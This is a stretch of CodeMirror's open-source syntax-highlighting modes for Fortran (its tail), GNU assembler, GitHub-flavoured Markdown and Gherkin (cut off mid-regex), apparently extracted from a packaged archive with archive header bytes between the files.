dbesy","dbesy","dbesyn","dble","dcos","dcosh","ddim","derf","derfc","dexp","digits","dim","dint","dlog","dlog","dmax","dmin","dmod","dnint","dot_product","dprod","dsign","dsinh","dsin","dsqrt","dtanh","dtan","dtime","eoshift","epsilon","erf","erfc","etime","exit","exp","exponent","extends_type_of","fdate","fget","fgetc","float","floor","flush","fnum","fputc","fput","fraction","fseek","fstat","ftell","gerror","getarg","get_command","get_command_argument","get_environment_variable","getcwd","getenv","getgid","getlog","getpid","getuid","gmtime","hostnm","huge","iabs","iachar","iand","iargc","ibclr","ibits","ibset","ichar","idate","idim","idint","idnint","ieor","ierrno","ifix","imag","imagpart","index","int","ior","irand","isatty","ishft","ishftc","isign","iso_c_binding","is_iostat_end","is_iostat_eor","itime","kill","kind","lbound","len","len_trim","lge","lgt","link","lle","llt","lnblnk","loc","log","logical","long","lshift","lstat","ltime","matmul","max","maxexponent","maxloc","maxval","mclock","merge","move_alloc","min","minexponent","minloc","minval","mod","modulo","mvbits","nearest","new_line","nint","not","or","pack","perror","precision","present","product","radix","rand","random_number","random_seed","range","real","realpart","rename","repeat","reshape","rrspacing","rshift","same_type_as","scale","scan","second","selected_int_kind","selected_real_kind","set_exponent","shape","short","sign","signal","sinh","sin","sleep","sngl","spacing","spread","sqrt","srand","stat","sum","symlnk","system","system_clock","tan","tanh","time","tiny","transfer","transpose","trim","ttynam","ubound","umask","unlink","unpack","verify","xor","zabs","zcos","zexp","zlog","zsin","zsqrt"]),f=a(["c_bool","c_char","c_double","c_double_complex","c_float","c_float_complex","c_funptr","c_int","c_int16_t","c_int32_t","c_int64_t","c_int8_t","c_int_fast16_t","c_int_fast32_t","c_int_fast64_t","c_int_fast8_t","c_int_least16_t","c_int_least32_t","c_int_least64_t","c_int_least8_t","c_intmax_t","c_intptr_t","c_long","c_long_double","c_long_double_complex","c_long_long","c_ptr","c_short","c_signed_char","c_size_t","character","complex","double","integer","logical","real"]),g=/[+\-*&=<>\/\:]/,h=new
RegExp("(.and.|.or.|.eq.|.lt.|.le.|.gt.|.ge.|.ne.|.not.|.eqv.|.neqv.)","i");return{startState:function(){return{tokenize:null}},token:function(a,c){if(a.eatSpace())return
null;var d=(c.tokenize||b)(a,c);return
d}}})),a.defineMIME("text/x-fortran","fortran")}));PKE��[6��"�"codemirror/mode/gas/gas.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("gas", function(_config, parserConfig) {
  'use strict';

  // If an architecture is specified, its initialization function may
  // populate this array with custom parsing functions which will be
  // tried in the event that the standard functions do not find a match.
  var custom = [];

  // The symbol used to start a line comment changes based on the target
  // architecture.
  // If no architecture is pased in "parserConfig" then only
multiline
  // comments will have syntax support.
  var lineCommentStartSymbol = "";

  // These directives are architecture independent.
  // Machine specific directives should go in their respective
  // architecture initialization function.
  // Reference:
  // http://sourceware.org/binutils/docs/as/Pseudo-Ops.html#Pseudo-Ops
  var directives = {
    ".abort" : "builtin",
    ".align" : "builtin",
    ".altmacro" : "builtin",
    ".ascii" : "builtin",
    ".asciz" : "builtin",
    ".balign" : "builtin",
    ".balignw" : "builtin",
    ".balignl" : "builtin",
    ".bundle_align_mode" : "builtin",
    ".bundle_lock" : "builtin",
    ".bundle_unlock" : "builtin",
    ".byte" : "builtin",
    ".cfi_startproc" : "builtin",
    ".comm" : "builtin",
    ".data" : "builtin",
    ".def" : "builtin",
    ".desc" : "builtin",
    ".dim" : "builtin",
    ".double" : "builtin",
    ".eject" : "builtin",
    ".else" : "builtin",
    ".elseif" : "builtin",
    ".end" : "builtin",
    ".endef" : "builtin",
    ".endfunc" : "builtin",
    ".endif" : "builtin",
    ".equ" : "builtin",
    ".equiv" : "builtin",
    ".eqv" : "builtin",
    ".err" : "builtin",
    ".error" : "builtin",
    ".exitm" : "builtin",
    ".extern" : "builtin",
    ".fail" : "builtin",
    ".file" : "builtin",
    ".fill" : "builtin",
    ".float" : "builtin",
    ".func" : "builtin",
    ".global" : "builtin",
    ".gnu_attribute" : "builtin",
    ".hidden" : "builtin",
    ".hword" : "builtin",
    ".ident" : "builtin",
    ".if" : "builtin",
    ".incbin" : "builtin",
    ".include" : "builtin",
    ".int" : "builtin",
    ".internal" : "builtin",
    ".irp" : "builtin",
    ".irpc" : "builtin",
    ".lcomm" : "builtin",
    ".lflags" : "builtin",
    ".line" : "builtin",
    ".linkonce" : "builtin",
    ".list" : "builtin",
    ".ln" : "builtin",
    ".loc" : "builtin",
    ".loc_mark_labels" : "builtin",
    ".local" : "builtin",
    ".long" : "builtin",
    ".macro" : "builtin",
    ".mri" : "builtin",
    ".noaltmacro" : "builtin",
    ".nolist" : "builtin",
    ".octa" : "builtin",
    ".offset" : "builtin",
    ".org" : "builtin",
    ".p2align" : "builtin",
    ".popsection" : "builtin",
    ".previous" : "builtin",
    ".print" : "builtin",
    ".protected" : "builtin",
    ".psize" : "builtin",
    ".purgem" : "builtin",
    ".pushsection" : "builtin",
    ".quad" : "builtin",
    ".reloc" : "builtin",
    ".rept" : "builtin",
    ".sbttl" : "builtin",
    ".scl" : "builtin",
    ".section" : "builtin",
    ".set" : "builtin",
    ".short" : "builtin",
    ".single" : "builtin",
    ".size" : "builtin",
    ".skip" : "builtin",
    ".sleb128" : "builtin",
    ".space" : "builtin",
    ".stab" : "builtin",
    ".string" : "builtin",
    ".struct" : "builtin",
    ".subsection" : "builtin",
    ".symver" : "builtin",
    ".tag" : "builtin",
    ".text" : "builtin",
    ".title" : "builtin",
    ".type" : "builtin",
    ".uleb128" : "builtin",
    ".val" : "builtin",
    ".version" : "builtin",
    ".vtable_entry" : "builtin",
    ".vtable_inherit" : "builtin",
    ".warning" : "builtin",
    ".weak" : "builtin",
    ".weakref" : "builtin",
    ".word" : "builtin"
  };

  var registers = {};

  function x86(_parserConfig) {
    lineCommentStartSymbol = "#";

    registers.ax  = "variable";
    registers.eax = "variable-2";
    registers.rax = "variable-3";

    registers.bx  = "variable";
    registers.ebx = "variable-2";
    registers.rbx = "variable-3";

    registers.cx  = "variable";
    registers.ecx = "variable-2";
    registers.rcx = "variable-3";

    registers.dx  = "variable";
    registers.edx = "variable-2";
    registers.rdx = "variable-3";

    registers.si  = "variable";
    registers.esi = "variable-2";
    registers.rsi = "variable-3";

    registers.di  = "variable";
    registers.edi = "variable-2";
    registers.rdi = "variable-3";

    registers.sp  = "variable";
    registers.esp = "variable-2";
    registers.rsp = "variable-3";

    registers.bp  = "variable";
    registers.ebp = "variable-2";
    registers.rbp = "variable-3";

    registers.ip  = "variable";
    registers.eip = "variable-2";
    registers.rip = "variable-3";

    registers.cs  = "keyword";
    registers.ds  = "keyword";
    registers.ss  = "keyword";
    registers.es  = "keyword";
    registers.fs  = "keyword";
    registers.gs  = "keyword";
  }

  function armv6(_parserConfig) {
    // Reference:
    //
http://infocenter.arm.com/help/topic/com.arm.doc.qrc0001l/QRC0001_UAL.pdf
    //
http://infocenter.arm.com/help/topic/com.arm.doc.ddi0301h/DDI0301H_arm1176jzfs_r0p7_trm.pdf
    lineCommentStartSymbol = "@";
    directives.syntax = "builtin";

    registers.r0  = "variable";
    registers.r1  = "variable";
    registers.r2  = "variable";
    registers.r3  = "variable";
    registers.r4  = "variable";
    registers.r5  = "variable";
    registers.r6  = "variable";
    registers.r7  = "variable";
    registers.r8  = "variable";
    registers.r9  = "variable";
    registers.r10 = "variable";
    registers.r11 = "variable";
    registers.r12 = "variable";

    registers.sp  = "variable-2";
    registers.lr  = "variable-2";
    registers.pc  = "variable-2";
    registers.r13 = registers.sp;
    registers.r14 = registers.lr;
    registers.r15 = registers.pc;

    custom.push(function(ch, stream) {
      if (ch === '#') {
        stream.eatWhile(/\w/);
        return "number";
      }
    });
  }

  var arch = (parserConfig.architecture || "x86").toLowerCase();
  if (arch === "x86") {
    x86(parserConfig);
  } else if (arch === "arm" || arch === "armv6") {
    armv6(parserConfig);
  }

  function nextUntilUnescaped(stream, end) {
    var escaped = false, next;
    while ((next = stream.next()) != null) {
      if (next === end && !escaped) {
        return false;
      }
      escaped = !escaped && next === "\\";
    }
    return escaped;
  }

  function clikeComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (ch === "/" && maybeEnd) {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch === "*");
    }
    return "comment";
  }

  return {
    startState: function() {
      return {
        tokenize: null
      };
    },

    token: function(stream, state) {
      if (state.tokenize) {
        return state.tokenize(stream, state);
      }

      if (stream.eatSpace()) {
        return null;
      }

      var style, cur, ch = stream.next();

      if (ch === "/") {
        if (stream.eat("*")) {
          state.tokenize = clikeComment;
          return clikeComment(stream, state);
        }
      }

      if (ch === lineCommentStartSymbol) {
        stream.skipToEnd();
        return "comment";
      }

      if (ch === '"') {
        nextUntilUnescaped(stream, '"');
        return "string";
      }

      if (ch === '.') {
        stream.eatWhile(/\w/);
        cur = stream.current().toLowerCase();
        style = directives[cur];
        return style || null;
      }

      if (ch === '=') {
        stream.eatWhile(/\w/);
        return "tag";
      }

      if (ch === '{') {
        return "braket";
      }

      if (ch === '}') {
        return "braket";
      }

      if (/\d/.test(ch)) {
        if (ch === "0" && stream.eat("x")) {
          stream.eatWhile(/[0-9a-fA-F]/);
          return "number";
        }
        stream.eatWhile(/\d/);
        return "number";
      }

      if (/\w/.test(ch)) {
        stream.eatWhile(/\w/);
        if (stream.eat(":")) {
          return 'tag';
        }
        cur = stream.current().toLowerCase();
        style = registers[cur];
        return style || null;
      }

      for (var i = 0; i < custom.length; i++) {
        style = custom[i](ch, stream, state);
        if (style) {
          return style;
        }
      }
    },

    lineComment: lineCommentStartSymbol,
    blockCommentStart: "/*",
    blockCommentEnd: "*/"
  };
});

});
PKE��[��%�\\codemirror/mode/gas/gas.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("gas",(function(a,b){function
c(a,b){for(var
c,d=!1;null!=(c=a.next());){if(c===b&&!d)return!1;d=!d&&"\\"===c}return
d}function d(a,b){for(var
c,d=!1;null!=(c=a.next());){if("/"===c&&d){b.tokenize=null;break}d="*"===c}return"comment"}var
e=[],f="",g={".abort":"builtin",".align":"builtin",".altmacro":"builtin",".ascii":"builtin",".asciz":"builtin",".balign":"builtin",".balignw":"builtin",".balignl":"builtin",".bundle_align_mode":"builtin",".bundle_lock":"builtin",".bundle_unlock":"builtin",".byte":"builtin",".cfi_startproc":"builtin",".comm":"builtin",".data":"builtin",".def":"builtin",".desc":"builtin",".dim":"builtin",".double":"builtin",".eject":"builtin",".else":"builtin",".elseif":"builtin",".end":"builtin",".endef":"builtin",".endfunc":"builtin",".endif":"builtin",".equ":"builtin",".equiv":"builtin",".eqv":"builtin",".err":"builtin",".error":"builtin",".exitm":"builtin",".extern":"builtin",".fail":"builtin",".file":"builtin",".fill":"builtin",".float":"builtin",".func":"builtin",".global":"builtin",".gnu_attribute":"builtin",".hidden":"builtin",".hword":"builtin",".ident":"builtin",".if":"builtin",".incbin":"builtin",".include":"builtin",".int":"builtin",".internal":"builtin",".irp":"builtin",".irpc":"builtin",".lcomm":"builtin",".lflags":"builtin",".line":"builtin",".linkonce":"builtin",".list":"builtin",".ln":"builtin",".loc":"builtin",".loc_mark_labels":"builtin",".local":"builtin",".long":"builtin",".macro":"builtin",".mri":"builtin",".noaltmacro":"builtin",".nolist":"builtin",".octa":"builtin",".offset":"builtin",".org":"builtin",".p2align":"builtin",".popsection":"builtin",".previous":"builtin",".print":"builtin",".protected":"builtin",".psize":"builtin",".purgem":"builtin",".pushsection":"builtin",".quad":"builtin",".reloc":"builtin",".rept":"builtin",".sbttl":"builtin",".scl":"builtin",".section":"builtin",".set":"builtin",".short":"builtin",".single":"builtin",".size":"builtin",".skip":"builtin",".sleb128":"builtin",".space":"builtin",".stab":"builtin",".string":"builtin",".struct":"builtin",".subsection":"builtin",".symver":"builtin",".tag":"builtin",".text":"builtin",".title":"builtin",".type":"builtin",".uleb128":"builtin",".val":"builtin",".version":"builtin",".vtable_entry":"builtin",".vtable_inherit":"builtin",".warning":"builtin",".weak":"builtin",".weakref":"builtin",".word":"builtin"},h={},i=(b.architecture||"x86").toLowerCase();return"x86"===i?(function(a){f="#",h.ax="variable",h.eax="variable-2",h.rax="variable-3",h.bx="variable",h.ebx="variable-2",h.rbx="variable-3",h.cx="variable",h.ecx="variable-2",h.rcx="variable-3",h.dx="variable",h.edx="variable-2",h.rdx="variable-3",h.si="variable",h.esi="variable-2",h.rsi="variable-3",h.di="variable",h.edi="variable-2",h.rdi="variable-3",h.sp="variable",h.esp="variable-2",h.rsp="variable-3",h.bp="variable",h.ebp="variable-2",h.rbp="variable-3",h.ip="variable",h.eip="variable-2",h.rip="variable-3",h.cs="keyword",h.ds="keyword",h.ss="keyword",h.es="keyword",h.fs="keyword",h.gs="keyword"})():"arm"!==i&&"armv6"!==i||(function(a){f="@",g.syntax="builtin",h.r0="variable",h.r1="variable",h.r2="variable",h.r3="variable",h.r4="variable",h.r5="variable",h.r6="variable",h.r7="variable",h.r8="variable",h.r9="variable",h.r10="variable",h.r11="variable",h.r12="variable",h.sp="variable-2",h.lr="variable-2",h.pc="variable-2",h.r13=h.sp,h.r14=h.lr,h.r15=h.pc,e.push((function(a,b){if("#"===a)return
b.eatWhile(/\w/),"number"}))})(),{startState:function(){return{tokenize:null}},token:function(a,b){if(b.tokenize)return
b.tokenize(a,b);if(a.eatSpace())return null;var
i,j,k=a.next();if("/"===k&&a.eat("*"))return
b.tokenize=d,d(a,b);if(k===f)return
a.skipToEnd(),"comment";if('"'===k)return
c(a,'"'),"string";if("."===k)return
a.eatWhile(/\w/),j=a.current().toLowerCase(),(i=g[j])||null;if("="===k)return
a.eatWhile(/\w/),"tag";if("{"===k)return"braket";if("}"===k)return"braket";if(/\d/.test(k))return"0"===k&&a.eat("x")?(a.eatWhile(/[0-9a-fA-F]/),"number"):(a.eatWhile(/\d/),"number");if(/\w/.test(k))return
a.eatWhile(/\w/),a.eat(":")?"tag":(j=a.current().toLowerCase(),(i=h[j])||null);for(var
l=0;l<e.length;l++)if(i=e[l](k,a,b))return
i},lineComment:f,blockCommentStart:"/*",blockCommentEnd:"*/"}}))}));PKE��[N�ܛ��codemirror/mode/gfm/gfm.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../markdown/markdown"),
require("../../addon/mode/overlay"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../markdown/markdown", "../../addon/mode/overlay"],
mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

var urlRE =
/^((?:(?:aaas?|about|acap|adiumxtra|af[ps]|aim|apt|attachment|aw|beshare|bitcoin|bolo|callto|cap|chrome(?:-extension)?|cid|coap|com-eventbrite-attendee|content|crid|cvs|data|dav|dict|dlna-(?:playcontainer|playsingle)|dns|doi|dtn|dvb|ed2k|facetime|feed|file|finger|fish|ftp|geo|gg|git|gizmoproject|go|gopher|gtalk|h323|hcp|https?|iax|icap|icon|im|imap|info|ipn|ipp|irc[6s]?|iris(?:\.beep|\.lwz|\.xpc|\.xpcs)?|itms|jar|javascript|jms|keyparc|lastfm|ldaps?|magnet|mailto|maps|market|message|mid|mms|ms-help|msnim|msrps?|mtqp|mumble|mupdate|mvn|news|nfs|nih?|nntp|notes|oid|opaquelocktoken|palm|paparazzi|platform|pop|pres|proxy|psyc|query|res(?:ource)?|rmi|rsync|rtmp|rtsp|secondlife|service|session|sftp|sgn|shttp|sieve|sips?|skype|sm[bs]|snmp|soap\.beeps?|soldat|spotify|ssh|steam|svn|tag|teamspeak|tel(?:net)?|tftp|things|thismessage|tip|tn3270|tv|udp|unreal|urn|ut2004|vemmi|ventrilo|view-source|webcal|wss?|wtai|wyciwyg|xcon(?:-userid)?|xfire|xmlrpc\.beeps?|xmpp|xri|ymsgr|z39\.50[rs]?):(?:\/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}\/)(?:[^\s()<>]|\([^\s()<>]*\))+(?:\([^\s()<>]*\)|[^\s`*!()\[\]{};:'".,<>?«»“”‘’]))/i

CodeMirror.defineMode("gfm", function(config, modeConfig) {
  var codeDepth = 0;
  function blankLine(state) {
    state.code = false;
    return null;
  }
  var gfmOverlay = {
    startState: function() {
      return {
        code: false,
        codeBlock: false,
        ateSpace: false
      };
    },
    copyState: function(s) {
      return {
        code: s.code,
        codeBlock: s.codeBlock,
        ateSpace: s.ateSpace
      };
    },
    token: function(stream, state) {
      state.combineTokens = null;

      // Hack to prevent formatting override inside code blocks (block and
inline)
      if (state.codeBlock) {
        if (stream.match(/^```+/)) {
          state.codeBlock = false;
          return null;
        }
        stream.skipToEnd();
        return null;
      }
      if (stream.sol()) {
        state.code = false;
      }
      if (stream.sol() && stream.match(/^```+/)) {
        stream.skipToEnd();
        state.codeBlock = true;
        return null;
      }
      // If this block is changed, it may need to be updated in Markdown
mode
      if (stream.peek() === '`') {
        stream.next();
        var before = stream.pos;
        stream.eatWhile('`');
        var difference = 1 + stream.pos - before;
        if (!state.code) {
          codeDepth = difference;
          state.code = true;
        } else {
          if (difference === codeDepth) { // Must be exact
            state.code = false;
          }
        }
        return null;
      } else if (state.code) {
        stream.next();
        return null;
      }
      // Check if space. If so, links can be formatted later on
      if (stream.eatSpace()) {
        state.ateSpace = true;
        return null;
      }
      if (stream.sol() || state.ateSpace) {
        state.ateSpace = false;
        if (modeConfig.gitHubSpice !== false) {
         
if(stream.match(/^(?:[a-zA-Z0-9\-_]+\/)?(?:[a-zA-Z0-9\-_]+@)?(?=.{0,6}\d)(?:[a-f0-9]{7,40}\b)/))
{
            // User/Project@SHA
            // User@SHA
            // SHA
            state.combineTokens = true;
            return "link";
          } else if
(stream.match(/^(?:[a-zA-Z0-9\-_]+\/)?(?:[a-zA-Z0-9\-_]+)?#[0-9]+\b/)) {
            // User/Project#Num
            // User#Num
            // #Num
            state.combineTokens = true;
            return "link";
          }
        }
      }
      if (stream.match(urlRE) &&
          stream.string.slice(stream.start - 2, stream.start) !=
"](" &&
          (stream.start == 0 || /\W/.test(stream.string.charAt(stream.start
- 1)))) {
        // URLs
        // Taken from
http://daringfireball.net/2010/07/improved_regex_for_matching_urls
        // And then (issue #1160) simplified to make it not crash the
Chrome Regexp engine
        // And then limited url schemes to the CommonMark list, so foo:bar
isn't matched as a URL
        state.combineTokens = true;
        return "link";
      }
      stream.next();
      return null;
    },
    blankLine: blankLine
  };

  var markdownConfig = {
    taskLists: true,
    strikethrough: true,
    emoji: true
  };
  for (var attr in modeConfig) {
    markdownConfig[attr] = modeConfig[attr];
  }
  markdownConfig.name = "markdown";
  return CodeMirror.overlayMode(CodeMirror.getMode(config, markdownConfig),
gfmOverlay);

}, "markdown");

  CodeMirror.defineMIME("text/x-gfm", "gfm");
});
PKE��[�����
�
codemirror/mode/gfm/gfm.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../markdown/markdown"),require("../../addon/mode/overlay")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../markdown/markdown","../../addon/mode/overlay"],a):a(CodeMirror)})((function(a){"use
strict";var
b=/^((?:(?:aaas?|about|acap|adiumxtra|af[ps]|aim|apt|attachment|aw|beshare|bitcoin|bolo|callto|cap|chrome(?:-extension)?|cid|coap|com-eventbrite-attendee|content|crid|cvs|data|dav|dict|dlna-(?:playcontainer|playsingle)|dns|doi|dtn|dvb|ed2k|facetime|feed|file|finger|fish|ftp|geo|gg|git|gizmoproject|go|gopher|gtalk|h323|hcp|https?|iax|icap|icon|im|imap|info|ipn|ipp|irc[6s]?|iris(?:\.beep|\.lwz|\.xpc|\.xpcs)?|itms|jar|javascript|jms|keyparc|lastfm|ldaps?|magnet|mailto|maps|market|message|mid|mms|ms-help|msnim|msrps?|mtqp|mumble|mupdate|mvn|news|nfs|nih?|nntp|notes|oid|opaquelocktoken|palm|paparazzi|platform|pop|pres|proxy|psyc|query|res(?:ource)?|rmi|rsync|rtmp|rtsp|secondlife|service|session|sftp|sgn|shttp|sieve|sips?|skype|sm[bs]|snmp|soap\.beeps?|soldat|spotify|ssh|steam|svn|tag|teamspeak|tel(?:net)?|tftp|things|thismessage|tip|tn3270|tv|udp|unreal|urn|ut2004|vemmi|ventrilo|view-source|webcal|wss?|wtai|wyciwyg|xcon(?:-userid)?|xfire|xmlrpc\.beeps?|xmpp|xri|ymsgr|z39\.50[rs]?):(?:\/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}\/)(?:[^\s()<>]|\([^\s()<>]*\))+(?:\([^\s()<>]*\)|[^\s`*!()\[\]{};:'".,<>?«»“”‘’]))/i;a.defineMode("gfm",(function(c,d){function
e(a){return a.code=!1,null}var
f=0,g={startState:function(){return{code:!1,codeBlock:!1,ateSpace:!1}},copyState:function(a){return{code:a.code,codeBlock:a.codeBlock,ateSpace:a.ateSpace}},token:function(a,c){if(c.combineTokens=null,c.codeBlock)return
a.match(/^```+/)?(c.codeBlock=!1,null):(a.skipToEnd(),null);if(a.sol()&&(c.code=!1),a.sol()&&a.match(/^```+/))return
a.skipToEnd(),c.codeBlock=!0,null;if("`"===a.peek()){a.next();var
e=a.pos;a.eatWhile("`");var g=1+a.pos-e;return
c.code?g===f&&(c.code=!1):(f=g,c.code=!0),null}if(c.code)return
a.next(),null;if(a.eatSpace())return
c.ateSpace=!0,null;if((a.sol()||c.ateSpace)&&(c.ateSpace=!1,!1!==d.gitHubSpice)){if(a.match(/^(?:[a-zA-Z0-9\-_]+\/)?(?:[a-zA-Z0-9\-_]+@)?(?=.{0,6}\d)(?:[a-f0-9]{7,40}\b)/))return
c.combineTokens=!0,"link";if(a.match(/^(?:[a-zA-Z0-9\-_]+\/)?(?:[a-zA-Z0-9\-_]+)?#[0-9]+\b/))return
c.combineTokens=!0,"link"}return
a.match(b)&&"]("!=a.string.slice(a.start-2,a.start)&&(0==a.start||/\W/.test(a.string.charAt(a.start-1)))?(c.combineTokens=!0,"link"):(a.next(),null)},blankLine:e},h={taskLists:!0,strikethrough:!0,emoji:!0};for(var
i in d)h[i]=d[i];return
h.name="markdown",a.overlayMode(a.getMode(c,h),g)}),"markdown"),a.defineMIME("text/x-gfm","gfm")}));PKE��[����3�3"codemirror/mode/gherkin/gherkin.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*
Gherkin mode - http://www.cukes.info/
Report bugs/issues here: https://github.com/codemirror/CodeMirror/issues
*/

// Following Objs from Brackets implementation:
https://github.com/tregusti/brackets-gherkin/blob/master/main.js
//var Quotes = {
//  SINGLE: 1,
//  DOUBLE: 2
//};

//var regex = {
//  keywords: /(Feature| {2}(Scenario|In order to|As|I)|
{4}(Given|When|Then|And))/
//};

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("gherkin", function () {
  return {
    startState: function () {
      return {
        lineNumber: 0,
        tableHeaderLine: false,
        allowFeature: true,
        allowBackground: false,
        allowScenario: false,
        allowSteps: false,
        allowPlaceholders: false,
        allowMultilineArgument: false,
        inMultilineString: false,
        inMultilineTable: false,
        inKeywordLine: false
      };
    },
    token: function (stream, state) {
      if (stream.sol()) {
        state.lineNumber++;
        state.inKeywordLine = false;
        if (state.inMultilineTable) {
            state.tableHeaderLine = false;
            if (!stream.match(/\s*\|/, false)) {
              state.allowMultilineArgument = false;
              state.inMultilineTable = false;
            }
        }
      }

      stream.eatSpace();

      if (state.allowMultilineArgument) {

        // STRING
        if (state.inMultilineString) {
          if (stream.match('"""')) {
            state.inMultilineString = false;
            state.allowMultilineArgument = false;
          } else {
            stream.match(/.*/);
          }
          return "string";
        }

        // TABLE
        if (state.inMultilineTable) {
          if (stream.match(/\|\s*/)) {
            return "bracket";
          } else {
            stream.match(/[^\|]*/);
            return state.tableHeaderLine ? "header" :
"string";
          }
        }

        // DETECT START
        if (stream.match('"""')) {
          // String
          state.inMultilineString = true;
          return "string";
        } else if (stream.match("|")) {
          // Table
          state.inMultilineTable = true;
          state.tableHeaderLine = true;
          return "bracket";
        }

      }

      // LINE COMMENT
      if (stream.match(/#.*/)) {
        return "comment";

      // TAG
      } else if (!state.inKeywordLine && stream.match(/@\S+/)) {
        return "tag";

      // FEATURE
      } else if (!state.inKeywordLine && state.allowFeature
&&
stream.match(/(機能|功能|フィーチャ|기능|โครงหลัก|ความสามารถ|ความต้องการทางธุรกิจ|ಹೆಚ್ಚಳ|గుణము|ਮੁਹਾਂਦਰਾ|ਨਕਸ਼
ਨੁਹਾਰ|ਖਾਸੀਅਤ|रूप
लेख|وِیژگی|خاصية|תכונה|Функціонал|Функция|Функционалност|Функционал|Үзенчәлеклелек|Свойство|Особина|Мөмкинлек|Могућност|Λειτουργία|Δυνατότητα|Właściwość|Vlastnosť|Trajto|Tính
năng|Savybė|Pretty much|Požiadavka|Požadavek|Potrzeba
biznesowa|Özellik|Osobina|Ominaisuus|Omadus|OH
HAI|Mogućnost|Mogucnost|Jellemző|Hwæt|Hwaet|Funzionalità|Funktionalitéit|Funktionalität|Funkcja|Funkcionalnost|Funkcionalitāte|Funkcia|Fungsi|Functionaliteit|Funcționalitate|Funcţionalitate|Functionalitate|Funcionalitat|Funcionalidade|Fonctionnalité|Fitur|Fīča|Feature|Eiginleiki|Egenskap|Egenskab|Característica|Caracteristica|Business
Need|Aspekt|Arwedd|Ahoy matey!|Ability):/)) {
        state.allowScenario = true;
        state.allowBackground = true;
        state.allowPlaceholders = false;
        state.allowSteps = false;
        state.allowMultilineArgument = false;
        state.inKeywordLine = true;
        return "keyword";

      // BACKGROUND
      } else if (!state.inKeywordLine && state.allowBackground
&&
stream.match(/(背景|배경|แนวคิด|ಹಿನ್ನೆಲೆ|నేపథ్యం|ਪਿਛੋਕੜ|पृष्ठभूमि|زمینه|الخلفية|רקע|Тарих|Предыстория|Предистория|Позадина|Передумова|Основа|Контекст|Кереш|Υπόβαθρο|Założenia|Yo\-ho\-ho|Tausta|Taust|Situācija|Rerefons|Pozadina|Pozadie|Pozadí|Osnova|Latar
Belakang|Kontext|Konteksts|Kontekstas|Kontekst|Háttér|Hannergrond|Grundlage|Geçmiş|Fundo|Fono|First
off|Dis is what went down|Dasar|Contexto|Contexte|Context|Contesto|Cenário
de Fundo|Cenario de Fundo|Cefndir|Bối
cảnh|Bakgrunnur|Bakgrunn|Bakgrund|Baggrund|Background|B4|Antecedents|Antecedentes|Ær|Aer|Achtergrond):/))
{
        state.allowPlaceholders = false;
        state.allowSteps = true;
        state.allowBackground = false;
        state.allowMultilineArgument = false;
        state.inKeywordLine = true;
        return "keyword";

      // SCENARIO OUTLINE
      } else if (!state.inKeywordLine && state.allowScenario
&&
stream.match(/(場景大綱|场景大纲|劇本大綱|剧本大纲|テンプレ|シナリオテンプレート|シナリオテンプレ|シナリオアウトライン|시나리오
개요|สรุปเหตุการณ์|โครงสร้างของเหตุการณ์|ವಿವರಣೆ|కథనం|ਪਟਕਥਾ
ਰੂਪ ਰੇਖਾ|ਪਟਕਥਾ
ਢਾਂਚਾ|परिदृश्य
रूपरेखा|سيناريو مخطط|الگوی
سناریو|תבנית תרחיש|Сценарийның
төзелеше|Сценарий структураси|Структура
сценарію|Структура сценария|Структура
сценарија|Скица|Рамка на
сценарий|Концепт|Περιγραφή
Σεναρίου|Wharrimean is|Template Situai|Template Senario|Template
Keadaan|Tapausaihio|Szenariogrundriss|Szablon scenariusza|Swa hwær swa|Swa
hwaer swa|Struktura scenarija|Structură scenariu|Structura
scenariu|Skica|Skenario konsep|Shiver me timbers|Senaryo taslağı|Schema
dello scenario|Scenariomall|Scenariomal|Scenario Template|Scenario
Outline|Scenario Amlinellol|Scenārijs pēc parauga|Scenarijaus
šablonas|Reckon it's like|Raamstsenaarium|Plang vum Szenario|Plan du
Scénario|Plan du scénario|Osnova scénáře|Osnova Scenára|Náčrt
Scenáru|Náčrt Scénáře|Náčrt Scenára|MISHUN SRSLY|Menggariskan
Senario|Lýsing Dæma|Lýsing Atburðarásar|Konturo de la
scenaro|Koncept|Khung tình huống|Khung kịch bản|Forgatókönyv
vázlat|Esquema do Cenário|Esquema do Cenario|Esquema del
escenario|Esquema de l'escenari|Esbozo do escenario|Delineação do
Cenário|Delineacao do Cenario|All y'all|Abstrakt Scenario|Abstract
Scenario):/)) {
        state.allowPlaceholders = true;
        state.allowSteps = true;
        state.allowMultilineArgument = false;
        state.inKeywordLine = true;
        return "keyword";

      // EXAMPLES
      } else if (state.allowScenario &&
stream.match(/(例子|例|サンプル|예|ชุดของเหตุการณ์|ชุดของตัวอย่าง|ಉದಾಹರಣೆಗಳು|ఉదాహరణలు|ਉਦਾਹਰਨਾਂ|उदाहरण|نمونه
